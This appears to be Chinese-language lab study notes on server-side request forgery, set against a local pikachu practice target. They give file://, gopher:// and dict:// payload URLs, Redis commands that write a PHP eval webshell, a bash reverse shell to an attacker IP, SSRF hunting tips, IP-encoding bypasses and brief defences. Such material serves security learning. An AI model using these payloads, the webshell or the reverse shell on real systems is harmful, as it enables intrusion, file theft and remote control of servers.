1.SSRF(服务端请求伪造)原理
概念:是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)
原理:参数给变量未经过滤,使用了不安全的函数curl_init 、 file_get_contents、 fsockopen,这三个函数支持过滤协议,通过过滤协议读对方的文件,探测端口等
2.SSRF漏洞可以利用的用途
1)可以对外网、服务器所在的内网、本地进行端口扫描,获取一些服务器的banner(指纹信息)信息
2)对内网的web进行指纹识别,通过访问默认文件实现
3)利用file协议读取本地文件
4)攻击运行在内网或本地的应用程序(比如溢出)
5)攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2 sqli等)
3.SSRF攻击结果由函数本身来决定,函数的功能越强大,攻击的成功的几率就越大curl_init 、 file_get_contents、 fsockopen(白盒测试,代码审计)
4.协议
- file协议的运用
读取文件(可以获取敏感文件的信息)
http://10.0.0.130:91/pikachu/vul/ssrf/ssrf_curl.php?url=file:///c:/1.txt
判断是否为php
http://10.0.0.130:91/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=ssrf.php
- gopher协议的运用(万金油)
发送各种格式的请求包
在这里只能改为Post提交,还可以使用gopher协议
利用函数,可以使用get访问
http://10.0.0.130:91/pikachu/vul/ssrf/ssrf_curl.php?url=gopher://10.0.0.130:91%20/_POST%20/sql.php%20HTTP/1.1%250d%250aHost:%2010.0.0.130:91%250d%250aUser-Agent:%20curl/7.43.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250aid=1
- dict协议应用
字典服务器协议
http://10.0.0.130:91/pikachu/vul/ssrf/ssrf_curl.php?url=dict://10.0.0.130:3306/info 获取服务器端口运行的版本信息
5.redis(6379)未授权访问漏洞(redis写webshell)
- 搭建redis
上传文件到root目录下
cd redis-6.0.16/
make
cd src
cp redis-server /usr/bin
cd ..
cp redis.conf /etc
vi /etc/redis.conf 修改配置文集 允许任何人访问
改为no
redis-server /etc/redis.conf 启动
检查进程
测试是否运行 redis-cli -h 10.0.0.130 -p 6379
另一台机器(同样安装)
- Linux写webshell条件
1、在攻击机上能用redis-cli连上;(将127.0.0.1改为0.0.0.0)客户端
2、开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经)
3、目录还需要具有文件写入权限
- Linux写入webshell (知道物理路径) 写入语句
redis-cli -h 192.168.56.131 -p 6379
config set dir /var/www/html 限制路径
config set dbfilename shell.php 设置名字
set webshell "\n\n\n<?php @eval($_POST['shell']);?>\n\n\n" 写木马
save 保存
写入webshell时需要使用换行,因为redis写入文件的时候会自带一些版本信息,不换行可能会导致无法执行。
1)同时打开kali 输入:pwd查找当时路径
2)输入命令查询:ls
3)切换路径:cd /var/www/html
4)查询:ls
5)查看命令:cat shell.php
启动apache service apache2 start
netstat -lnt 查看端口
访问apache
网站测试:http://10.0.0.130/shell.php
蚁剑连接木马:http://192.168.56.131/shell.php(或者菜刀)
不知道物理路径直接bash反弹
nc.exe -lvvp 7778
bash -i >& /dev/tcp/192.168.13.249/7778 centos 7
nc.exe
正向连接攻击者连接受害者,反向连接受害者连接攻击者
6.如何挖到SSRF漏洞(黑盒测试)?
1)分享:通过url地址分享网页的内容(例如拼多多,改一下地址)
2)转码服务
3)在线翻译
4)图片加载与下载;通过url地址加载与下载图片
5)图片、文章收藏功能
6)未公开的api实现与其他调用得url的功能
7)从url关键词来查找
share,wap,url.link.src,source,target,display
sourceURL,imageURL,domain,u,3g
7.绕过方法
- 更改IP地址的写法
8进制
8进制格式:0300.0250.0.1
16进制
16进制格式:0xC0.0xA8.0.1
10进制
10进制整数格式:3232235521
- 利用解析URL出现的问题(把域名拼接上去,加@符号)
8.防范方法
1)过滤192.168.0.0/10.0.0.0/172.16.0.0 localhost 私有地址、ipv6地址
2)过滤file:/// 、 dict:// 、gopher:// 、ftp://、 http:// https:// php:///危险schema
http://192.168.56.128:91/pikachu/vul/ssrf/ssrf_curl.php?url=file:///c:/1.tx
3)白名单过滤
4)对返回的内容进行识别